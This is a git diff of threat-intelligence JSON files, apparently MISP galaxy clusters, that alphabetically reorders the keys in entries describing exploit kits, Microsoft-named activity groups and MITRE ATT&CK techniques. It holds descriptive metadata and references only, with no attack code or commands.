"http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html",
"http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/"
],
+ "status": "Retired - Last seen: 2013-10-07",
"synonyms": [
"CEK",
"Styxy Cool"
- ],
- "status": "Retired - Last seen: 2013-10-07"
+ ]
},
- "uuid": "9bb229b0-80f9-48e5-b8fb-00ee7af070cb"
+ "uuid": "9bb229b0-80f9-48e5-b8fb-00ee7af070cb",
+ "value": "Cool"
},
{
- "value": "Fiesta",
"description": "Fiesta Exploit Kit",
"meta": {
"refs": [
"http://blog.0x3a.com/post/110052845124/an-in-depth-analysis-of-the-fiesta-exploit-kit-an",
"http://www.kahusecurity.com/2011/neosploit-is-back/"
],
+ "status": "Retired - Last Seen: beginning of 2015-07",
"synonyms": [
"NeoSploit",
"Fiexp"
- ],
- "status": "Retired - Last Seen: beginning of 2015-07"
+ ]
},
- "uuid": "f50f860a-d795-4f4e-a170-8190f65499ad"
+ "uuid": "f50f860a-d795-4f4e-a170-8190f65499ad",
+ "value": "Fiesta"
},
{
- "value": "Empire",
"description": "The Empire Pack is a variation of RIG operated by a load seller. It's being fed by many traffic actors",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html"
],
+ "status": "Retired - Last seen: 2016-12-29",
"synonyms": [
"RIG-E"
- ],
- "status": "Retired - Last seen: 2016-12-29"
+ ]
},
- "uuid": "6eb15569-4ddd-4820-9a44-7bca5b303b86"
+ "uuid": "6eb15569-4ddd-4820-9a44-7bca5b303b86",
+ "value": "Empire"
},
{
- "value": "FlashPack",
"description": "FlashPack EK got multiple fork. The most common variant seen was the standalone Flash version",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2012/11/meet-critxpack-previously-vintage-pack.html",
"http://malware.dontneedcoffee.com/2013/04/meet-safe-pack-v20-again.html"
],
+ "status": "Retired - Last seen: middle of 2015-04",
"synonyms": [
"FlashEK",
"SafePack",
"CritXPack",
"Vintage Pack"
- ],
- "status": "Retired - Last seen: middle of 2015-04"
+ ]
},
- "uuid": "55a30ccc-8905-4af2-a498-5c0010815cc1"
+ "uuid": "55a30ccc-8905-4af2-a498-5c0010815cc1",
+ "value": "FlashPack"
},
{
- "value": "Glazunov",
"description": "Glazunov is an exploit kit mainly seen behind compromised website in 2012 and 2013. Glazunov compromission is likely the ancestor activity of what became EITest in July 2014. Sibhost and Flimkit later shown similarities with this Exploit Kit",
"meta": {
"refs": [
@@ -374,10 +383,10 @@
],
"status": "Retired - Last seen: maybe end of 2013"
},
- "uuid": "897374fa-6a35-11e8-adc0-fa7ae01bbebc"
+ "uuid": "897374fa-6a35-11e8-adc0-fa7ae01bbebc",
+ "value": "Glazunov"
},
{
- "value": "GrandSoft",
"description": "GrandSoft Exploit Kit was a quite common exploit kit used in 2012/2013. Disappeared between march 2014 and September 2017",
"meta": {
"refs": [
@@ -385,16 +394,16 @@
"http://malware.dontneedcoffee.com/2012/10/neosploit-now-showing-bh-ek-20-like.html",
"https://nakedsecurity.sophos.com/2012/08/24/sophos-sucks-malware/"
],
+ "status": "Active",
"synonyms": [
"StampEK",
"SofosFO"
- ],
- "status": "Active"
+ ]
},
- "uuid": "180b6969-2aca-4642-b684-b57db8f0eff8"
+ "uuid": "180b6969-2aca-4642-b684-b57db8f0eff8",
+ "value": "GrandSoft"
},
{
- "value": "HanJuan",
"description": "Hanjuan EK was a one actor fed variation of Angler EK used in evolved malvertising chain targeting USA. It has been using a 0day (CVE-2015-0313) from beginning of December 2014 till beginning of February 2015",
"meta": {
"refs": [
@@ -405,24 +414,24 @@
],
"status": "Retired - Last seen: 2015-07"
},
- "uuid": "886abdc6-db1a-4fc5-afe0-e17d65a83614"
+ "uuid": "886abdc6-db1a-4fc5-afe0-e17d65a83614",
+ "value": "HanJuan"
},
{
- "value": "Himan",
"description": "Himan Exploit Kit",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2013/10/HiMan.html"
],
+ "status": "Retired - Last seen: 2014-04",
"synonyms": [
"High Load"
- ],
- "status": "Retired - Last seen: 2014-04"
+ ]
},
- "uuid": "3d0cb558-7f04-4be8-963e-5f137566b07b"
+ "uuid": "3d0cb558-7f04-4be8-963e-5f137566b07b",
+ "value": "Himan"
},
{
- "value": "Impact",
"description": "Impact EK",
"meta": {
"refs": [
@@ -430,26 +439,26 @@
],
"status": "Retired"
},
- "uuid": "319357b4-3041-4a71-89c5-51be08041d1b"
+ "uuid": "319357b4-3041-4a71-89c5-51be08041d1b",
+ "value": "Impact"
},
{
- "value": "Infinity",
"description": "Infinity is an evolution of Redkit",
"meta": {
"refs": [
"http://blog.talosintel.com/2013/11/im-calling-this-goon-exploit-kit-for-now.html",
"http://www.kahusecurity.com/2014/the-resurrection-of-redkit/"
],
+ "status": "Retired - Last seen: 2014-07",
"synonyms": [
"Redkit v2.0",
"Goon"
- ],
- "status": "Retired - Last seen: 2014-07"
+ ]
},
- "uuid": "4b858835-7b31-4b94-8144-b5175da1551f"
+ "uuid": "4b858835-7b31-4b94-8144-b5175da1551f",
+ "value": "Infinity"
},
{
- "value": "Lightsout",
"description": "Lightsout Exploit Kit has been used in Watering Hole attack performed by the APT Group havex",
"meta": {
"refs": [
@@ -459,10 +468,10 @@
],
"status": "Unknown - Last seen: 2014-03"
},
- "uuid": "244c05f8-1a2f-47fb-9dcf-2eaa99ab6aa1"
+ "uuid": "244c05f8-1a2f-47fb-9dcf-2eaa99ab6aa1",
+ "value": "Lightsout"
},
{
- "value": "Nebula",
"description": "Nebula Exploit Kit has been built on Sundown source and features an internal TDS",
"meta": {
"refs": [
@@ -470,89 +479,89 @@
],
"status": "Retired - Last seen 2017-03-09"
},
- "uuid": "4ca96067-8fdd-4b48-bd34-d2e175e27bad"
+ "uuid": "4ca96067-8fdd-4b48-bd34-d2e175e27bad",
+ "value": "Nebula"
},
{
- "value": "Neutrino",
"description": "Neutrino Exploit Kit has been one of the major exploit kit from its launch in 2013 till september 2016 when it become private (defense name for this variation is Neutrino-v). This EK vanished from march 2014 till november 2014.",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2013/03/hello-neutrino-just-one-more-exploit-kit.html",
"http://malware.dontneedcoffee.com/2014/11/neutrino-come-back.html"
],
+ "status": "Retired - Last seen 2017-04-10",
"synonyms": [
"Job314",
"Neutrino Rebooted",
"Neutrino-v"
- ],
- "status": "Retired - Last seen 2017-04-10"
+ ]
},
- "uuid": "218ae39b-2f92-4355-91c6-50cce319d26d"
+ "uuid": "218ae39b-2f92-4355-91c6-50cce319d26d",
+ "value": "Neutrino"
},
{
- "value": "Niteris",
"description": "Niteris was used mainly to target Russian.",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2014/06/cottoncastle.html",
"http://malware.dontneedcoffee.com/2015/05/another-look-at-niteris-post.html"
],
+ "status": "Unknown - Last seen: 2015-11",
"synonyms": [
"CottonCastle"
- ],
- "status": "Unknown - Last seen: 2015-11"
+ ]
},
- "uuid": "b344133f-e223-4fda-8fb2-88ad7999e549"
+ "uuid": "b344133f-e223-4fda-8fb2-88ad7999e549",
+ "value": "Niteris"
},
{
- "value": "Nuclear",
"description": "The Nuclear Pack appeared in 2009 and has been one of the longer living one. Spartan EK was a landing less variation of Nuclear Pack",
"meta": {
"refs": [
"http://blog.checkpoint.com/2016/05/17/inside-nuclears-core-unraveling-a-ransomware-as-a-service-infrastructure/"
],
+ "status": "Retired - Last seen: 2015-04-30",
"synonyms": [
"NEK",
"Nuclear Pack",
"Spartan",
"Neclu"
- ],
- "status": "Retired - Last seen: 2015-04-30"
+ ]
},
- "uuid": "e7c516f9-5222-4f0d-b80b-ae9f4c24583d"
+ "uuid": "e7c516f9-5222-4f0d-b80b-ae9f4c24583d",
+ "value": "Nuclear"
},
{
- "value": "Phoenix",
"description": "Phoenix Exploit Kit",
"meta": {
"refs": [
"http://malwareint.blogspot.fr/2010/09/phoenix-exploits-kit-v21-inside.html",
"http://blog.trendmicro.com/trendlabs-security-intelligence/now-exploiting-phoenix-exploit-kit-version-2-5/"
],
+ "status": "Retired",
"synonyms": [
"PEK"
- ],
- "status": "Retired"
+ ]
},
- "uuid": "0df2c7a6-046f-4489-8c77-0999c92c839d"
+ "uuid": "0df2c7a6-046f-4489-8c77-0999c92c839d",
+ "value": "Phoenix"
},
{
- "value": "Private Exploit Pack",
"description": "Private Exploit Pack",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2013/07/pep-new-bep.html",
"http://malwageddon.blogspot.fr/2013/07/unknown-ek-well-hey-hey-i-wanna-be.html"
],
+ "status": "Retired",
"synonyms": [
"PEP"
- ],
- "status": "Retired"
+ ]
},
- "uuid": "cfd0a4af-f559-496f-b56b-97145ea4e4c3"
+ "uuid": "cfd0a4af-f559-496f-b56b-97145ea4e4c3",
+ "value": "Private Exploit Pack"
},
{
- "value": "Redkit",
"description": "Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer's traffic",
"meta": {
"refs": [
@@ -562,10 +571,10 @@
],
"status": "Retired"
},
- "uuid": "6958ff90-75e8-47ee-ab07-daa8d487130c"
+ "uuid": "6958ff90-75e8-47ee-ab07-daa8d487130c",
+ "value": "Redkit"
},
{
- "value": "Sakura",
"description": "Sakura Exploit Kit appeared in 2012 and was adopted by several big actor",
"meta": {
"refs": [
@@ -573,10 +582,10 @@
],
"status": "Retired - Last seen: 2013-09"
},
- "uuid": "12af9112-3ac5-4422-858e-a22c293c6117"
+ "uuid": "12af9112-3ac5-4422-858e-a22c293c6117",
+ "value": "Sakura"
},
{
- "value": "SPL",
"description": "SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV",
"meta": {
"refs": [
@@ -589,43 +598,43 @@
"SPL2"
]
},
- "uuid": "15936d30-c151-4051-835e-df327143ce76"
+ "uuid": "15936d30-c151-4051-835e-df327143ce76",
+ "value": "SPL"
},
{
- "value": "Sundown",
"description": "Sundown Exploit Kit is mainly built out of stolen code from other exploit kits",
"meta": {
+ "colour": "#C03701",
"refs": [
"http://malware.dontneedcoffee.com/2015/06/fast-look-at-sundown-ek.html",
"https://www.virusbulletin.com/virusbulletin/2015/06/beta-exploit-pack-one-more-piece-crimeware-infection-road"
],
+ "status": "Retired - Last seen 2017-03-08",
"synonyms": [
"Beps",
"Xer",
"Beta"
- ],
- "status": "Retired - Last seen 2017-03-08",
- "colour": "#C03701"
+ ]
},
- "uuid": "670e28c4-001a-4ba4-b276-441620225123"
+ "uuid": "670e28c4-001a-4ba4-b276-441620225123",
+ "value": "Sundown"
},
{
- "value": "Sweet-Orange",
"description": "Sweet Orange",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2012/12/juice-sweet-orange-2012-12.html"
],
+ "status": "Retired - Last seen: 2015-04-05",
"synonyms": [
"SWO",
"Anogre"
- ],
- "status": "Retired - Last seen: 2015-04-05"
+ ]
},
- "uuid": "222bc508-4d8d-4972-9cac-65192cfefd43"
+ "uuid": "222bc508-4d8d-4972-9cac-65192cfefd43",
+ "value": "Sweet-Orange"
},
{
- "value": "Styx",
"description": "Styx Exploit Kit",
"meta": {
"refs": [
@@ -635,10 +644,10 @@
],
"status": "Retired - Last seen: 2014-06"
},
- "uuid": "006eaa87-e8a6-4808-93ff-302b52c628b0"
+ "uuid": "006eaa87-e8a6-4808-93ff-302b52c628b0",
+ "value": "Styx"
},
{
- "value": "WhiteHole",
"description": "WhiteHole Exploit Kit appeared in January 2013 in the tail of the CVE-2013-0422",
"meta": {
"refs": [
@@ -646,10 +655,10 @@
],
"status": "Retired - Last seen: 2013-12"
},
- "uuid": "570bc715-7fe8-430b-bd2e-5512c95f2370"
+ "uuid": "570bc715-7fe8-430b-bd2e-5512c95f2370",
+ "value": "WhiteHole"
},
{
- "value": "Unknown",
"description": "Unknown Exploit Kit. This is a place holder for any undocumented Exploit Kit. If you use this tag, we will be more than happy to give the associated EK a deep look.",
"meta": {
"refs": [
@@ -658,18 +667,9 @@
"https://twitter.com/kahusecurity"
]
},
- "uuid": "00815961-3249-4e2e-9421-bb57feb73bb2"
+ "uuid": "00815961-3249-4e2e-9421-bb57feb73bb2",
+ "value": "Unknown"
}
],
- "version": 7,
- "uuid": "454f4e78-bd7c-11e6-a4a6-cec0c932ce01",
- "description": "Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits.It's not meant to be totally exhaustive but aim at covering the most seen in the past 5 years",
- "authors": [
- "Kafeine",
- "Will Metcalf",
- "KahuSecurity"
- ],
- "source": "MISP Project",
- "type": "exploit-kit",
- "name": "Exploit-Kit"
+ "version": 7
}
diff --git a/clusters/microsoft-activity-group.json b/clusters/microsoft-activity-group.json
index 5862c4b..b440f7c 100644
--- a/clusters/microsoft-activity-group.json
+++ b/clusters/microsoft-activity-group.json
@@ -1,52 +1,52 @@
{
- "version": 3,
- "uuid": "28b5e55d-acba-4748-a79d-0afa3512689a",
- "description": "Activity groups as described by Microsoft",
"authors": [
"Various"
],
+ "description": "Activity groups as described by Microsoft",
+ "name": "Microsoft Activity Group actor",
"source": "MISP Project",
"type": "microsoft-activity-group",
- "name": "Microsoft Activity Group actor",
+ "uuid": "28b5e55d-acba-4748-a79d-0afa3512689a",
"values": [
{
- "meta": {
- "refs": [
- "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
- ]
- },
"description": "PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.",
- "value": "PROMETHIUM",
- "uuid": "5744f91a-d2d8-4f92-920f-943dd80c578f"
- },
- {
"meta": {
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
]
},
- "description": "NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.",
- "value": "NEODYMIUM",
- "uuid": "47b5007a-3fb1-466a-9578-629e6e735493"
+ "uuid": "5744f91a-d2d8-4f92-920f-943dd80c578f",
+ "value": "PROMETHIUM"
},
{
+ "description": "NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.",
+ "meta": {
+ "refs": [
+ "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+ ]
+ },
+ "uuid": "47b5007a-3fb1-466a-9578-629e6e735493",
+ "value": "NEODYMIUM"
+ },
+ {
+ "description": "Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.",
"meta": {
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/"
]
},
- "description": "Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.",
- "value": "TERBIUM",
- "uuid": "99784b80-6298-45ba-885c-0ed37bfd8324"
+ "uuid": "99784b80-6298-45ba-885c-0ed37bfd8324",
+ "value": "TERBIUM"
},
{
+ "description": "STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims’ computer. ",
"meta": {
+ "country": "RU",
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/",
"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_A_Profile_Of_A_Persistent_Adversary_English.pdf",
"https://blogs.technet.microsoft.com/mmpc/2015/11/16/microsoft-security-intelligence-report-strontium/"
],
- "country": "RU",
"synonyms": [
"APT 28",
"APT28",
@@ -60,13 +60,11 @@
"Grey-Cloud"
]
},
- "description": "STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims’ computer. ",
- "value": "STRONTIUM",
- "uuid": "213cdde9-c11a-4ea9-8ce0-c868e9826fec"
+ "uuid": "213cdde9-c11a-4ea9-8ce0-c868e9826fec",
+ "value": "STRONTIUM"
},
{
"description": "DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.",
- "value": "DUBNIUM",
"meta": {
"refs": [
"https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/",
@@ -78,48 +76,50 @@
"darkhotel"
]
},
- "uuid": "b56af6ab-69f8-457a-bf50-c3aefa6dc14a"
+ "uuid": "b56af6ab-69f8-457a-bf50-c3aefa6dc14a",
+ "value": "DUBNIUM"
},
{
"description": "PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.",
- "value": "PLATINUM",
"meta": {
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/",
"http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
]
},
- "uuid": "154e97b5-47ef-415a-99a6-2157f1b50339"
+ "uuid": "154e97b5-47ef-415a-99a6-2157f1b50339",
+ "value": "PLATINUM"
},
{
- "meta": {
- "refs": [
- "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"
- ]
- },
"description": "Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.",
- "value": "BARIUM",
- "uuid": "cc70bdbd-afa7-4e19-bba2-2443811ef3af"
- },
- {
"meta": {
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"
]
},
- "description": "In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD’s victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD’s objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD’s attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.",
- "value": "LEAD",
- "uuid": "f542442e-ba0f-425d-b386-6c10351a468e"
+ "uuid": "cc70bdbd-afa7-4e19-bba2-2443811ef3af",
+ "value": "BARIUM"
},
{
+ "description": "In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD’s victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD’s objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD’s attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.",
+ "meta": {
+ "refs": [
+ "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"
+ ]
+ },
+ "uuid": "f542442e-ba0f-425d-b386-6c10351a468e",
+ "value": "LEAD"
+ },
+ {
+ "description": "In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit. ",
"meta": {
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/"
]
},
- "description": "In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit. ",
- "value": "ZIRCONIUM",
- "uuid": "2d19c573-252b-49d8-8c2e-3b529b91e72d"
+ "uuid": "2d19c573-252b-49d8-8c2e-3b529b91e72d",
+ "value": "ZIRCONIUM"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json
index d1ab6d2..00209ab 100644
--- a/clusters/mitre-attack-pattern.json
+++ b/clusters/mitre-attack-pattern.json
@@ -1,10 +1,15 @@
{
+ "authors": [
+ "MITRE"
+ ],
"description": "ATT&CK tactic",
- "version": 4,
+ "name": "Attack Pattern",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-attack-pattern",
+ "uuid": "dcb864dc-775f-11e7-9fbb-1f41b4996683",
"values": [
{
"description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis",
- "value": "Exfiltration Over Alternative Protocol",
"meta": {
"mitre_data_sources": [
"User interface",
@@ -14,11 +19,6 @@
"Netflow/Enclave netflow",
"Network protocol analysis"
],
- "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1048",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -35,12 +35,17 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1048",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776"
+ },
+ "value": "Exfiltration Over Alternative Protocol"
},
{
"description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring",
- "value": "Standard Application Layer Protocol",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -49,11 +54,6 @@
"Malware reverse engineering",
"Process monitoring"
],
- "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1071",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -70,18 +70,26 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1071",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6"
+ },
+ "value": "Standard Application Layer Protocol"
},
{
"description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents[[Citation: AppleDocs Launch Agent Daemons]][[Citation: OSX Keydnap malware]][[Citation: Antiquated Mac Malware]]. These launch agents have property list files which point to the executables that will be launched[[Citation: OSX.Dok Malware]].\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories [[Citation: Sofacy Komplex Trojan]] [[Citation: Methods of Mac Malware Persistence]]. The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in[[Citation: OSX Malware Detection]][[Citation: OceanLotus for OS X]]. They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring",
- "value": "Launch Agent",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
],
- "uuid": "12f399b0-d9de-4f60-a262-22c21baae140",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1159",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
@@ -93,24 +101,17 @@
"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
"https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "12f399b0-d9de-4f60-a262-22c21baae140"
+ },
+ "value": "Launch Agent"
},
{
